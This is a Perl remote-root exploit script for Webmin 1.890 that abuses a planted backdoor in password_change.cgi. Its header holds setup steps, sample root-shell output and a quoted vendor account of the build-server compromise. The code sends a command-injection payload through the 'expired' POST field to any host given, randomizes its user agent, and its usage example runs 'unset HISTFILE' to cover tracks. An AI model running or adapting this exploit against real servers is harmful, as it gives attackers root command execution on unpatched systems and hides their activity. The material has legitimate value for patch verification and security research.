Share
#!/usr/bin/perl -w  
#  
# Webmin 1.890 (based on 1.920 research) 'expired' Remote Root Exploit  
#  
# Copyright 2019 (c) Todor Donev <todor.donev at gmail.com>  
#  
# Installation on CentOS:  
# rpm -ivh https://sourceforge.net/projects/webadmin/files/webmin/1.890/webmin-1.890-1.noarch.rpm/download  
#  
# Disclaimer:  
# This or previous programs are for Educational purpose ONLY. Do not use it without permission.   
# The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages   
# caused by direct or indirect use of the information or functionality provided by these programs.   
# The author or any Internet provider bears NO responsibility for content or misuse of these programs   
# or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss,   
# system crash, system compromise, etc.) caused by the use of these programs are not Todor Donev's   
# responsibility.  
#   
# Use them at your own risk!  
#  
#  
# Tested on CentOS  
#  
# Reproducing:  
# [root@localhost ~]# rpm -ivh https://sourceforge.net/projects/webadmin/files/webmin/1.890/webmin-1.890-1.noarch.rpm/download  
# ......  
# [root@localhost ~]# sed -i s/passwd_mode=0/passwd_mode=2/g /etc/webmin/miniserv.conf  
#  
# Restart Webmin and test the exploit..  
#  
# [test@localhost ~]$ perl webmin.pl localhost 10000 id  
# [ Webmin 1.890 (based on 1.920 research) 'expired' Remote Root Exploit  
# [ ====================================================================  
# [ First time released at Defcon. Thank you guys, for all..  
# [ Exploit by: Todor Donev <todor.donev@gmail.com>  
# [ ====================================================================  
# [ Usage: webmin.pl <host> <port> <command>  
# [ e.g. webmin.pl localhost 10000 "unset HISTFILE;uname -a;id;uptime"  
# [+] Target: localhost  
# [+] Server: MiniServ/1.890  
# uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:system_r:initrc_t:s0  
# [test@localhost ~]$   
#  
#  
# ATTENTION !! ATTENTION !! ATTENTION !! ATTENTION !! ATTENTION !!   
#  
# Guys, please give a star to https://github.com/otvorete/petition  
# to support the cause of the Bulgarian Hackers (Developers) Community.  
# We want to makes our Electronic Government more securе, transparent   
# and reliable. For this reason we want from our government to open   
# the source codes of the applications. So support us with a star,   
# please..  
#  
# Special thanks to Konstantin Spirov that starting the cause!!  
#  
#  
#  
# Very smart but easy to found it:  
#  
# Webmin 1.920 - Backdoor  
# o [root@localhost ~]# find /usr/libexec/webmin -type f -name "*.cgi" -exec grep --color -H "qx/" {} \;  
# /usr/libexec/webmin/password_change.cgi: $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);  
#  
# Webmin 1.890 - Backdoor  
# o [root@localhost ~]# find /usr/libexec/webmin -type f -name "*.cgi" -exec grep --color -H "qx/" {} \;  
# /usr/libexec/webmin/password_change.cgi:$in{'expired'} eq '' || die $text{'password_expired'},qx/$in{'expired'}/;  
#  
#   
# This function (qx) is a alternative to using back-quotes to execute system commands.   
# For example, qx(ls -l) will execute the UNIX ls command using the -l command-line  
# option. You can actually use any set of delimiters, not just the parentheses.  
# This function returns the value from the executed system command.  
#  
#  
# Webmin 1.890 Exploit - What Happened?  
#  
# Webmin version 1.890 was released with a backdoor that could allow anyone with knowledge  
# of it to execute commands as root. Versions 1.900 to 1.920 also contained a backdoor using   
# similar code, but it was not exploitable in a default Webmin install. Only if the admin had   
# enabled the feature at Webmin -> Webmin Configuration -> Authentication to allow changing of   
# expired passwords could it be used by an attacker.  
#  
# Neither of these were accidental bugs - rather, the Webmin source code had been maliciously   
# modified to add a non-obvious vulnerability. It appears that this happened as follows :  
#  
# o At some time in April 2018, the Webmin development build server was exploited and a   
# vulnerability added to the password_change.cgi script. Because the timestamp on the   
# file was set back, it did not show up in any Git diffs. This was included in the Webmin   
# 1.890 release.  
#  
# o The vulnerable file was reverted to the checked-in version from Github, but sometime   
# in July 2018 the file was modified again by the attacker. However, this time the exploit   
# was added to code that is only executed if changing of expired passwords is enabled.   
# This was included in the Webmin 1.900 release.  
#  
# o On September 10th 2018, the vulnerable build server was decomissioned and replaced with   
# a newly installed server running CentOS 7. However, the build directory containing the   
# modified file was copied across from backups made on the original server.  
#  
# o On August 17th 2019, we were informed that a 0-day exploit that made use of the   
# vulnerability had been released. In response, the exploit code was removed and Webmin   
# version 1.930 created and released to all users.  
#  
# In order to prevent similar attacks in future, we're doing the following :  
#  
# o Updating the build process to use only checked-in code from Github, rather than a local   
# directory that is kept in sync.  
#  
# o Rotated all passwords and keys accessible from the old build system.  
#  
# o Auditing all Github checkins over the past year to look for commits that may have   
# introduced similar vulnerabilities.  
#  
#  
#  
# SOURCE: http://webmin.com/exploit.html  
#  
# If the exploit not works, please install these packages from CPAN with this command:  
#  
# cpan install HTTP::Request WWW:UserAgent::Random LWP::UserAgent  
#  
#  
# To Webmin developers:  
# Guys, I think it's will be better Webmin to log POST parameters by default.. ;)  
#  
#   
#  
  
use strict;  
use HTTP::Request;  
use LWP::UserAgent;  
use WWW::UserAgent::Random;  
  
my $host = shift || 'localhost';  
my $port = shift || '10000';  
my $cmd = shift || 'uname -a;id;uptime';  
$cmd =~ s/\|/\;/g;  
  
print "[ Webmin 1.890 (based on 1.920 research) 'expired' Remote Root Exploit\n";  
print "[ ====================================================================\n";  
print "[ First time released at Defcon. Thank you guys, for all..\n";  
print "[ Exploit by: Todor Donev <todor.donev\@gmail.com>\n";  
print "[ ====================================================================\n";  
print "[ Usage: $0 <host> <port> <command>\n";  
print "[ e.g. $0 localhost 10000 \"unset HISTFILE;uname -a;id;uptime\"\n";  
my $user_agent = rand_ua("browsers");  
my $browser = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 });  
$browser->timeout(60);  
$browser->agent($user_agent);  
my $target = "https://".$host.":".$port."/password_change.cgi";  
my $request = HTTP::Request->new (POST => $target,  
[ Content_Type => "application/x-www-form-urlencoded" ,  
Referer => "https://".$host.":".$port."/session_login.cgi" ],  
"user=gotroot&pam=&expired=2|echo -n OWNED;$cmd;echo -n OWNED&old=gotroot&new1=gotroot&new2=gotroot");  
$request->header("Cookie" => "redirect=1; testing=1; sid=x; sessiontest=1;");  
my $content = $browser->request($request);  
if ($content->as_string() =~ m/OWNED(.*?)OWNED/s){  
printf(STDOUT "[+] Target: %s\n[+] Server: %s\n%s", $host, $content->server() ,$1);  
exit;  
} else {  
printf(STDOUT "[-] Not OWNED.. Exploit failed! :((\n");  
exit;  
}